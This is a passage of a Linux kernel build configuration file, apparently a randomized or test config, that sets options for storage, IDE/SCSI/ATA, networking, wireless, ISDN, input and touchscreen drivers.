CONFIG_OF_IRQ=y
CONFIG_OF_NET=y
CONFIG_OF_MDIO=y
CONFIG_OF_PCI=y
CONFIG_OF_PCI_IRQ=y
CONFIG_OF_RESOLVE=y
CONFIG_OF_OVERLAY=y
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
# CONFIG_PARPORT is not set
CONFIG_PNP=y
CONFIG_PNP_DEBUG_MESSAGES=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_NULL_BLK is not set
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_DRBD is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_OSD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_RSXX is not set
CONFIG_NVME_CORE=y
CONFIG_BLK_DEV_NVME=m
# CONFIG_BLK_DEV_NVME_SCSI is not set
CONFIG_NVME_FABRICS=y
CONFIG_NVME_FC=y
CONFIG_NVME_TARGET=m
# CONFIG_NVME_TARGET_LOOP is not set
# CONFIG_NVME_TARGET_FC is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
CONFIG_AD525X_DPOT=y
CONFIG_AD525X_DPOT_I2C=y
CONFIG_AD525X_DPOT_SPI=m
CONFIG_DUMMY_IRQ=y
CONFIG_IBM_ASM=y
# CONFIG_PHANTOM is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=y
CONFIG_TIFM_7XX1=m
CONFIG_ICS932S401=m
# CONFIG_ENCLOSURE_SERVICES is not set
CONFIG_HP_ILO=y
# CONFIG_APDS9802ALS is not set
CONFIG_ISL29003=m
CONFIG_ISL29020=m
# CONFIG_SENSORS_TSL2550 is not set
CONFIG_SENSORS_BH1770=y
CONFIG_SENSORS_APDS990X=m
CONFIG_HMC6352=m
CONFIG_DS1682=y
CONFIG_TI_DAC7512=y
# CONFIG_VMWARE_BALLOON is not set
CONFIG_PCH_PHUB=m
CONFIG_USB_SWITCH_FSA9480=m
CONFIG_LATTICE_ECP3_CONFIG=y
# CONFIG_SRAM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
CONFIG_EEPROM_AT24=y
# CONFIG_EEPROM_AT25 is not set
CONFIG_EEPROM_LEGACY=y
CONFIG_EEPROM_MAX6875=m
# CONFIG_EEPROM_93CX6 is not set
CONFIG_EEPROM_93XX46=y
CONFIG_CB710_CORE=m
CONFIG_CB710_DEBUG=y
CONFIG_CB710_DEBUG_ASSUMPTIONS=y

#
# Texas Instruments shared transport line discipline
#
# CONFIG_TI_ST is not set
# CONFIG_SENSORS_LIS3_I2C is not set

#
# Altera FPGA firmware download module
#
# CONFIG_ALTERA_STAPL is not set
CONFIG_INTEL_MEI=y
CONFIG_INTEL_MEI_ME=y
CONFIG_INTEL_MEI_TXE=y
CONFIG_VMWARE_VMCI=m

#
# Intel MIC Bus Driver
#

#
# SCIF Bus Driver
#

#
# VOP Bus Driver
#

#
# Intel MIC Host Driver
#

#
# Intel MIC Card Driver
#

#
# SCIF Driver
#

#
# Intel MIC Coprocessor State Management (COSM) Drivers
#

#
# VOP Driver
#
CONFIG_ECHO=y
# CONFIG_CXL_BASE is not set
# CONFIG_CXL_AFU_DRIVER_OPS is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_TIMINGS=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
# CONFIG_IDE_GD is not set
CONFIG_BLK_DEV_IDECS=m
CONFIG_BLK_DEV_DELKIN=m
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
CONFIG_BLK_DEV_IDETAPE=m
CONFIG_BLK_DEV_IDEACPI=y
CONFIG_IDE_TASK_IOCTL=y
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
CONFIG_IDE_GENERIC=y
CONFIG_BLK_DEV_PLATFORM=m
CONFIG_BLK_DEV_CMD640=y
# CONFIG_BLK_DEV_CMD640_ENHANCED is not set
CONFIG_BLK_DEV_IDEPNP=m
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_PCIBUS_ORDER=y
CONFIG_BLK_DEV_OFFBOARD=y
# CONFIG_BLK_DEV_GENERIC is not set
CONFIG_BLK_DEV_OPTI621=y
CONFIG_BLK_DEV_RZ1000=y
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_BLK_DEV_AEC62XX=y
CONFIG_BLK_DEV_ALI15X3=y
# CONFIG_BLK_DEV_AMD74XX is not set
CONFIG_BLK_DEV_ATIIXP=y
CONFIG_BLK_DEV_CMD64X=y
# CONFIG_BLK_DEV_TRIFLEX is not set
CONFIG_BLK_DEV_CS5520=m
# CONFIG_BLK_DEV_CS5530 is not set
CONFIG_BLK_DEV_CS5535=y
CONFIG_BLK_DEV_CS5536=m
# CONFIG_BLK_DEV_HPT366 is not set
CONFIG_BLK_DEV_JMICRON=y
CONFIG_BLK_DEV_SC1200=y
CONFIG_BLK_DEV_PIIX=y
CONFIG_BLK_DEV_IT8172=m
CONFIG_BLK_DEV_IT8213=y
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
CONFIG_BLK_DEV_PDC202XX_OLD=m
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
CONFIG_BLK_DEV_SIIMAGE=y
# CONFIG_BLK_DEV_SIS5513 is not set
CONFIG_BLK_DEV_SLC90E66=y
CONFIG_BLK_DEV_TRM290=y
# CONFIG_BLK_DEV_VIA82CXXX is not set
CONFIG_BLK_DEV_TC86C001=m
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_MQ_DEFAULT=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=m
CONFIG_CHR_DEV_ST=y
CONFIG_CHR_DEV_OSST=m
# CONFIG_BLK_DEV_SR is not set
CONFIG_CHR_DEV_SG=y
CONFIG_CHR_DEV_SCH=m
CONFIG_SCSI_CONSTANTS=y
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=m
CONFIG_SCSI_FC_ATTRS=m
CONFIG_SCSI_ISCSI_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
# CONFIG_SCSI_SAS_LIBSAS is not set
CONFIG_SCSI_SRP_ATTRS=y
# CONFIG_SCSI_LOWLEVEL is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
# CONFIG_SCSI_DH is not set
CONFIG_SCSI_OSD_INITIATOR=y
CONFIG_SCSI_OSD_ULD=m
CONFIG_SCSI_OSD_DPRINT_SENSE=1
CONFIG_SCSI_OSD_DEBUG=y
CONFIG_ATA=m
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_ATA_ACPI=y
# CONFIG_SATA_PMP is not set

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
CONFIG_SATA_AHCI_PLATFORM=m
# CONFIG_AHCI_CEVA is not set
CONFIG_AHCI_QORIQ=m
CONFIG_SATA_INIC162X=m
CONFIG_SATA_ACARD_AHCI=m
CONFIG_SATA_SIL24=m
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
CONFIG_PDC_ADMA=m
CONFIG_SATA_QSTOR=m
# CONFIG_SATA_SX4 is not set
# CONFIG_ATA_BMDMA is not set

#
# PIO-only SFF controllers
#
CONFIG_PATA_CMD640_PCI=m
# CONFIG_PATA_MPIIX is not set
CONFIG_PATA_NS87410=m
CONFIG_PATA_OPTI=m
CONFIG_PATA_PCMCIA=m
CONFIG_PATA_RZ1000=m

#
# Generic fallback / legacy drivers
#
CONFIG_PATA_LEGACY=m
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
CONFIG_FIREWIRE_NOSY=m
CONFIG_MACINTOSH_DRIVERS=y
CONFIG_MAC_EMUMOUSEBTN=m
CONFIG_NETDEVICES=y
CONFIG_MII=y
# CONFIG_NET_CORE is not set
CONFIG_SUNGEM_PHY=m
CONFIG_ARCNET=y
CONFIG_ARCNET_1201=y
CONFIG_ARCNET_1051=y
CONFIG_ARCNET_RAW=y
# CONFIG_ARCNET_CAP is not set
# CONFIG_ARCNET_COM90xx is not set
CONFIG_ARCNET_COM90xxIO=y
CONFIG_ARCNET_RIM_I=y
# CONFIG_ARCNET_COM20020 is not set

#
# CAIF transport drivers
#
# CONFIG_CAIF_TTY is not set
CONFIG_CAIF_SPI_SLAVE=m
# CONFIG_CAIF_SPI_SYNC is not set
CONFIG_CAIF_HSI=m
# CONFIG_CAIF_VIRTIO is not set

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6060 is not set
CONFIG_NET_DSA_BCM_SF2=m
CONFIG_B53=m
# CONFIG_B53_SPI_DRIVER is not set
CONFIG_B53_MDIO_DRIVER=m
CONFIG_B53_MMAP_DRIVER=m
CONFIG_B53_SRAB_DRIVER=m
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_QCA8K is not set
CONFIG_ETHERNET=y
CONFIG_MDIO=y
CONFIG_NET_VENDOR_3COM=y
# CONFIG_PCMCIA_3C574 is not set
CONFIG_PCMCIA_3C589=m
CONFIG_VORTEX=m
CONFIG_TYPHOON=y
CONFIG_NET_VENDOR_ADAPTEC=y
CONFIG_ADAPTEC_STARFIRE=m
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
# CONFIG_NET_VENDOR_ALTEON is not set
CONFIG_ALTERA_TSE=y
CONFIG_NET_VENDOR_AMAZON=y
CONFIG_ENA_ETHERNET=y
# CONFIG_NET_VENDOR_AMD is not set
CONFIG_NET_VENDOR_ARC=y
CONFIG_NET_VENDOR_ATHEROS=y
# CONFIG_ATL2 is not set
# CONFIG_ATL1 is not set
# CONFIG_ATL1E is not set
CONFIG_ATL1C=m
CONFIG_ALX=m
# CONFIG_NET_VENDOR_AURORA is not set
# CONFIG_NET_CADENCE is not set
CONFIG_NET_VENDOR_BROADCOM=y
CONFIG_B44=m
CONFIG_B44_PCI_AUTOSELECT=y
CONFIG_B44_PCICORE_AUTOSELECT=y
CONFIG_B44_PCI=y
# CONFIG_BCMGENET is not set
CONFIG_BNX2=y
CONFIG_CNIC=y
CONFIG_TIGON3=m
CONFIG_BNX2X=m
CONFIG_SYSTEMPORT=y
# CONFIG_BNXT is not set
CONFIG_NET_VENDOR_BROCADE=y
# CONFIG_BNA is not set
CONFIG_NET_VENDOR_CAVIUM=y
CONFIG_NET_VENDOR_CHELSIO=y
CONFIG_CHELSIO_T1=y
# CONFIG_CHELSIO_T1_1G is not set
CONFIG_CHELSIO_T3=y
CONFIG_CHELSIO_T4=m
CONFIG_CHELSIO_T4_DCB=y
# CONFIG_CHELSIO_T4VF is not set
CONFIG_NET_VENDOR_CISCO=y
CONFIG_ENIC=y
CONFIG_CX_ECAT=y
CONFIG_DNET=y
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
CONFIG_NET_VENDOR_EXAR=y
CONFIG_S2IO=y
# CONFIG_VXGE is not set
CONFIG_NET_VENDOR_FUJITSU=y
CONFIG_PCMCIA_FMVJ18X=m
# CONFIG_NET_VENDOR_HP is not set
CONFIG_NET_VENDOR_INTEL=y
CONFIG_E100=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_E1000E_HWTS=y
CONFIG_IGB=m
CONFIG_IGB_HWMON=y
CONFIG_IGBVF=m
CONFIG_IXGB=y
CONFIG_IXGBE=m
CONFIG_IXGBE_HWMON=y
CONFIG_IXGBE_DCB=y
CONFIG_IXGBEVF=y
CONFIG_I40E=y
CONFIG_I40E_DCB=y
CONFIG_I40EVF=y
CONFIG_FM10K=y
CONFIG_NET_VENDOR_I825XX=y
CONFIG_JME=y
CONFIG_NET_VENDOR_MARVELL=y
CONFIG_MVMDIO=m
# CONFIG_MVNETA_BM is not set
CONFIG_SKGE=m
CONFIG_SKGE_DEBUG=y
# CONFIG_SKGE_GENESIS is not set
CONFIG_SKY2=m
# CONFIG_SKY2_DEBUG is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
CONFIG_NET_VENDOR_MICROCHIP=y
CONFIG_ENC28J60=y
CONFIG_ENC28J60_WRITEVERIFY=y
# CONFIG_ENCX24J600 is not set
# CONFIG_NET_VENDOR_MYRI is not set
CONFIG_FEALNX=y
CONFIG_NET_VENDOR_NATSEMI=y
CONFIG_NATSEMI=y
# CONFIG_NS83820 is not set
CONFIG_NET_VENDOR_NETRONOME=y
# CONFIG_NFP_NETVF is not set
CONFIG_NET_VENDOR_8390=y
CONFIG_PCMCIA_AXNET=m
CONFIG_NE2K_PCI=y
CONFIG_PCMCIA_PCNET=m
CONFIG_NET_VENDOR_NVIDIA=y
CONFIG_FORCEDETH=m
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
CONFIG_NET_VENDOR_REALTEK=y
# CONFIG_8139CP is not set
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
CONFIG_8139TOO_TUNE_TWISTER=y
# CONFIG_8139TOO_8129 is not set
CONFIG_8139_OLD_RX_RESET=y
# CONFIG_R8169 is not set
# CONFIG_NET_VENDOR_RENESAS is not set
CONFIG_NET_VENDOR_RDC=y
CONFIG_R6040=m
# CONFIG_NET_VENDOR_ROCKER is not set
CONFIG_NET_VENDOR_SAMSUNG=y
CONFIG_SXGBE_ETH=m
CONFIG_NET_VENDOR_SEEQ=y
CONFIG_NET_VENDOR_SILAN=y
CONFIG_SC92031=y
# CONFIG_NET_VENDOR_SIS is not set
CONFIG_NET_VENDOR_SOLARFLARE=y
# CONFIG_SFC is not set
# CONFIG_SFC_FALCON is not set
CONFIG_NET_VENDOR_SMSC=y
CONFIG_PCMCIA_SMC91C92=m
CONFIG_EPIC100=m
CONFIG_SMSC911X=y
# CONFIG_SMSC911X_ARCH_HOOKS is not set
CONFIG_SMSC9420=m
# CONFIG_NET_VENDOR_STMICRO is not set
CONFIG_NET_VENDOR_SUN=y
CONFIG_HAPPYMEAL=y
CONFIG_SUNGEM=m
CONFIG_CASSINI=m
CONFIG_NIU=m
CONFIG_NET_VENDOR_SYNOPSYS=y
# CONFIG_SYNOPSYS_DWC_ETH_QOS is not set
CONFIG_NET_VENDOR_TEHUTI=y
CONFIG_TEHUTI=y
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_XIRCOM is not set
CONFIG_FDDI=m
# CONFIG_DEFXX is not set
CONFIG_SKFP=m
CONFIG_HIPPI=y
# CONFIG_ROADRUNNER is not set
CONFIG_NET_SB1000=m
CONFIG_PHYLIB=y
CONFIG_SWPHY=y
# CONFIG_LED_TRIGGER_PHY is not set

#
# MDIO bus device drivers
#
CONFIG_MDIO_BCM_UNIMAC=m
CONFIG_MDIO_BITBANG=m
CONFIG_MDIO_BUS_MUX=m
CONFIG_MDIO_BUS_MUX_GPIO=m
# CONFIG_MDIO_BUS_MUX_MMIOREG is not set
# CONFIG_MDIO_GPIO is not set
# CONFIG_MDIO_HISI_FEMAC is not set

#
# MII PHY device drivers
#
CONFIG_AMD_PHY=m
CONFIG_AQUANTIA_PHY=y
CONFIG_AT803X_PHY=y
CONFIG_BCM7XXX_PHY=y
# CONFIG_BCM87XX_PHY is not set
CONFIG_BCM_NET_PHYLIB=y
CONFIG_BROADCOM_PHY=m
CONFIG_CICADA_PHY=y
CONFIG_DAVICOM_PHY=m
CONFIG_DP83848_PHY=m
CONFIG_DP83867_PHY=m
CONFIG_FIXED_PHY=y
CONFIG_ICPLUS_PHY=y
CONFIG_INTEL_XWAY_PHY=y
CONFIG_LSI_ET1011C_PHY=m
# CONFIG_LXT_PHY is not set
CONFIG_MARVELL_PHY=m
# CONFIG_MESON_GXL_PHY is not set
CONFIG_MICREL_PHY=y
CONFIG_MICROCHIP_PHY=m
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_NATIONAL_PHY is not set
CONFIG_QSEMI_PHY=m
# CONFIG_REALTEK_PHY is not set
CONFIG_SMSC_PHY=m
CONFIG_STE10XP=y
CONFIG_TERANETICS_PHY=y
CONFIG_VITESSE_PHY=y
CONFIG_XILINX_GMII2RGMII=y
CONFIG_MICREL_KS8995MA=y
CONFIG_PPP=m
CONFIG_PPP_BSDCOMP=m
# CONFIG_PPP_DEFLATE is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_MPPE=m
# CONFIG_PPP_MULTILINK is not set
CONFIG_PPPOE=m
CONFIG_PPTP=m
CONFIG_PPPOL2TP=m
# CONFIG_PPP_ASYNC is not set
# CONFIG_PPP_SYNC_TTY is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
CONFIG_USB_NET_DRIVERS=m
CONFIG_USB_CATC=m
CONFIG_USB_KAWETH=m
# CONFIG_USB_PEGASUS is not set
CONFIG_USB_RTL8150=m
# CONFIG_USB_RTL8152 is not set
# CONFIG_USB_LAN78XX is not set
CONFIG_USB_USBNET=m
CONFIG_USB_NET_AX8817X=m
# CONFIG_USB_NET_AX88179_178A is not set
CONFIG_USB_NET_CDCETHER=m
CONFIG_USB_NET_CDC_EEM=m
CONFIG_USB_NET_CDC_NCM=m
# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set
# CONFIG_USB_NET_CDC_MBIM is not set
CONFIG_USB_NET_DM9601=m
CONFIG_USB_NET_SR9700=m
# CONFIG_USB_NET_SR9800 is not set
CONFIG_USB_NET_SMSC75XX=m
CONFIG_USB_NET_SMSC95XX=m
# CONFIG_USB_NET_GL620A is not set
CONFIG_USB_NET_NET1080=m
# CONFIG_USB_NET_PLUSB is not set
# CONFIG_USB_NET_MCS7830 is not set
CONFIG_USB_NET_RNDIS_HOST=m
# CONFIG_USB_NET_CDC_SUBSET is not set
# CONFIG_USB_NET_ZAURUS is not set
# CONFIG_USB_NET_CX82310_ETH is not set
# CONFIG_USB_NET_KALMIA is not set
CONFIG_USB_NET_QMI_WWAN=m
# CONFIG_USB_HSO is not set
# CONFIG_USB_NET_INT51X1 is not set
# CONFIG_USB_CDC_PHONET is not set
CONFIG_USB_IPHETH=m
# CONFIG_USB_SIERRA_NET is not set
CONFIG_USB_VL600=m
CONFIG_USB_NET_CH9200=m
CONFIG_WLAN=y
CONFIG_WLAN_VENDOR_ADMTEK=y
# CONFIG_WLAN_VENDOR_ATH is not set
CONFIG_WLAN_VENDOR_ATMEL=y
CONFIG_ATMEL=m
CONFIG_PCI_ATMEL=m
CONFIG_PCMCIA_ATMEL=m
CONFIG_WLAN_VENDOR_BROADCOM=y
CONFIG_BRCMUTIL=m
CONFIG_BRCMFMAC=m
CONFIG_BRCMFMAC_PROTO_BCDC=y
CONFIG_BRCMFMAC_SDIO=y
# CONFIG_BRCMFMAC_USB is not set
# CONFIG_BRCMFMAC_PCIE is not set
CONFIG_BRCM_TRACING=y
# CONFIG_BRCMDBG is not set
# CONFIG_WLAN_VENDOR_CISCO is not set
CONFIG_WLAN_VENDOR_INTEL=y
CONFIG_IPW2100=m
# CONFIG_IPW2100_MONITOR is not set
# CONFIG_IPW2100_DEBUG is not set
CONFIG_IPW2200=m
# CONFIG_IPW2200_MONITOR is not set
# CONFIG_IPW2200_QOS is not set
CONFIG_IPW2200_DEBUG=y
CONFIG_LIBIPW=m
# CONFIG_LIBIPW_DEBUG is not set
CONFIG_WLAN_VENDOR_INTERSIL=y
# CONFIG_HOSTAP is not set
CONFIG_HERMES=m
CONFIG_HERMES_PRISM=y
CONFIG_HERMES_CACHE_FW_ON_INIT=y
CONFIG_PLX_HERMES=m
CONFIG_TMD_HERMES=m
# CONFIG_NORTEL_HERMES is not set
# CONFIG_PCI_HERMES is not set
CONFIG_PCMCIA_HERMES=m
CONFIG_PCMCIA_SPECTRUM=m
CONFIG_ORINOCO_USB=m
CONFIG_PRISM54=y
# CONFIG_WLAN_VENDOR_MARVELL is not set
# CONFIG_WLAN_VENDOR_MEDIATEK is not set
# CONFIG_WLAN_VENDOR_RALINK is not set
# CONFIG_WLAN_VENDOR_REALTEK is not set
# CONFIG_WLAN_VENDOR_RSI is not set
CONFIG_WLAN_VENDOR_ST=y
CONFIG_WLAN_VENDOR_TI=y
CONFIG_WLAN_VENDOR_ZYDAS=y
CONFIG_USB_ZD1201=m
CONFIG_PCMCIA_RAYCS=m
# CONFIG_PCMCIA_WL3501 is not set
CONFIG_USB_NET_RNDIS_WLAN=m

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_IEEE802154_DRIVERS is not set
CONFIG_VMXNET3=y
CONFIG_FUJITSU_ES=y
# CONFIG_HYPERV_NET is not set
CONFIG_ISDN=y
CONFIG_ISDN_I4L=y
# CONFIG_ISDN_PPP is not set
# CONFIG_ISDN_AUDIO is not set

#
# ISDN feature submodules
#
CONFIG_ISDN_DRV_LOOP=m
# CONFIG_ISDN_DIVERSION is not set

#
# ISDN4Linux hardware drivers
#

#
# Passive cards
#
# CONFIG_ISDN_DRV_HISAX is not set
# CONFIG_ISDN_CAPI is not set
CONFIG_ISDN_DRV_GIGASET=m
CONFIG_GIGASET_I4L=y
# CONFIG_GIGASET_DUMMYLL is not set
CONFIG_GIGASET_BASE=m
CONFIG_GIGASET_M105=m
CONFIG_GIGASET_M101=m
CONFIG_GIGASET_DEBUG=y
# CONFIG_HYSDN is not set
CONFIG_MISDN=y
# CONFIG_MISDN_DSP is not set
# CONFIG_MISDN_L1OIP is not set

#
# mISDN hardware drivers
#
CONFIG_MISDN_HFCPCI=y
# CONFIG_MISDN_HFCMULTI is not set
# CONFIG_MISDN_HFCUSB is not set
CONFIG_MISDN_AVMFRITZ=y
CONFIG_MISDN_SPEEDFAX=y
# CONFIG_MISDN_INFINEON is not set
CONFIG_MISDN_W6692=y
CONFIG_MISDN_NETJET=y
CONFIG_MISDN_IPAC=y
CONFIG_MISDN_ISAR=y
CONFIG_ISDN_HDLC=y
# CONFIG_NVM is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_LEDS=m
CONFIG_INPUT_FF_MEMLESS=y
CONFIG_INPUT_POLLDEV=y
CONFIG_INPUT_SPARSEKMAP=y
CONFIG_INPUT_MATRIXKMAP=m

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_JOYDEV=y
CONFIG_INPUT_EVDEV=m
CONFIG_INPUT_EVBUG=y

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADC is not set
# CONFIG_KEYBOARD_ADP5520 is not set
# CONFIG_KEYBOARD_ADP5588 is not set
# CONFIG_KEYBOARD_ADP5589 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_GPIO is not set
# CONFIG_KEYBOARD_GPIO_POLLED is not set
# CONFIG_KEYBOARD_TCA6416 is not set
# CONFIG_KEYBOARD_TCA8418 is not set
# CONFIG_KEYBOARD_MATRIX is not set
# CONFIG_KEYBOARD_LM8323 is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MCS is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_SAMSUNG is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_STMPE is not set
# CONFIG_KEYBOARD_OMAP4 is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_CROS_EC is not set
# CONFIG_KEYBOARD_CAP11XX is not set
# CONFIG_KEYBOARD_BCM is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
CONFIG_INPUT_TABLET=y
CONFIG_TABLET_USB_ACECAD=y
CONFIG_TABLET_USB_AIPTEK=y
# CONFIG_TABLET_USB_GTCO is not set
CONFIG_TABLET_USB_HANWANG=y
CONFIG_TABLET_USB_KBTAB=y
CONFIG_TABLET_USB_PEGASUS=y
CONFIG_TABLET_SERIAL_WACOM4=m
CONFIG_INPUT_TOUCHSCREEN=y
CONFIG_TOUCHSCREEN_PROPERTIES=y
CONFIG_TOUCHSCREEN_88PM860X=y
CONFIG_TOUCHSCREEN_ADS7846=m
CONFIG_TOUCHSCREEN_AD7877=y
# CONFIG_TOUCHSCREEN_AD7879 is not set
# CONFIG_TOUCHSCREEN_AR1021_I2C is not set
# CONFIG_TOUCHSCREEN_ATMEL_MXT is not set
# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set
# CONFIG_TOUCHSCREEN_BU21013 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8318 is not set
# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set
# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set
CONFIG_TOUCHSCREEN_CYTTSP4_CORE=y
CONFIG_TOUCHSCREEN_CYTTSP4_I2C=m
# CONFIG_TOUCHSCREEN_CYTTSP4_SPI is not set
CONFIG_TOUCHSCREEN_DA9052=y
CONFIG_TOUCHSCREEN_DYNAPRO=y
CONFIG_TOUCHSCREEN_HAMPSHIRE=m
# CONFIG_TOUCHSCREEN_EETI is not set
# CONFIG_TOUCHSCREEN_EGALAX is not set
CONFIG_TOUCHSCREEN_EGALAX_SERIAL=m
CONFIG_TOUCHSCREEN_FUJITSU=y
CONFIG_TOUCHSCREEN_GOODIX=y
CONFIG_TOUCHSCREEN_ILI210X=y
CONFIG_TOUCHSCREEN_GUNZE=y
# CONFIG_TOUCHSCREEN_EKTF2127 is not set
CONFIG_TOUCHSCREEN_ELAN=m
CONFIG_TOUCHSCREEN_ELO=m
CONFIG_TOUCHSCREEN_WACOM_W8001=y
# CONFIG_TOUCHSCREEN_WACOM_I2C is not set
CONFIG_TOUCHSCREEN_MAX11801=m
CONFIG_TOUCHSCREEN_MCS5000=m
# CONFIG_TOUCHSCREEN_MMS114 is not set
CONFIG_TOUCHSCREEN_MELFAS_MIP4=y
CONFIG_TOUCHSCREEN_MTOUCH=y
CONFIG_TOUCHSCREEN_IMX6UL_TSC=y
CONFIG_TOUCHSCREEN_INEXIO=y
# CONFIG_TOUCHSCREEN_MK712 is not set
# CONFIG_TOUCHSCREEN_PENMOUNT is not set
CONFIG_TOUCHSCREEN_EDT_FT5X06=m
# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
CONFIG_TOUCHSCREEN_UCB1400=m
# CONFIG_TOUCHSCREEN_PIXCIR is not set
CONFIG_TOUCHSCREEN_WDT87XX_I2C=y
# CONFIG_TOUCHSCREEN_WM97XX is not set
# CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set
CONFIG_TOUCHSCREEN_MC13783=y
CONFIG_TOUCHSCREEN_TOUCHIT213=m
# CONFIG_TOUCHSCREEN_TSC_SERIO is not set
CONFIG_TOUCHSCREEN_TSC200X_CORE=y
CONFIG_TOUCHSCREEN_TSC2004=y
CONFIG_TOUCHSCREEN_TSC2005=y
CONFIG_TOUCHSCREEN_TSC2007=y
# CONFIG_TOUCHSCREEN_PCAP is not set
CONFIG_TOUCHSCREEN_RM_TS=y
# CONFIG_TOUCHSCREEN_SILEAD is not set
# CONFIG_TOUCHSCREEN_SIS_I2C is not set
CONFIG_TOUCHSCREEN_ST1232=m
# CONFIG_TOUCHSCREEN_STMPE is not set
# CONFIG_TOUCHSCREEN_SUR40 is not set
# CONFIG_TOUCHSCREEN_SURFACE3_SPI is not set
CONFIG_TOUCHSCREEN_SX8654=m
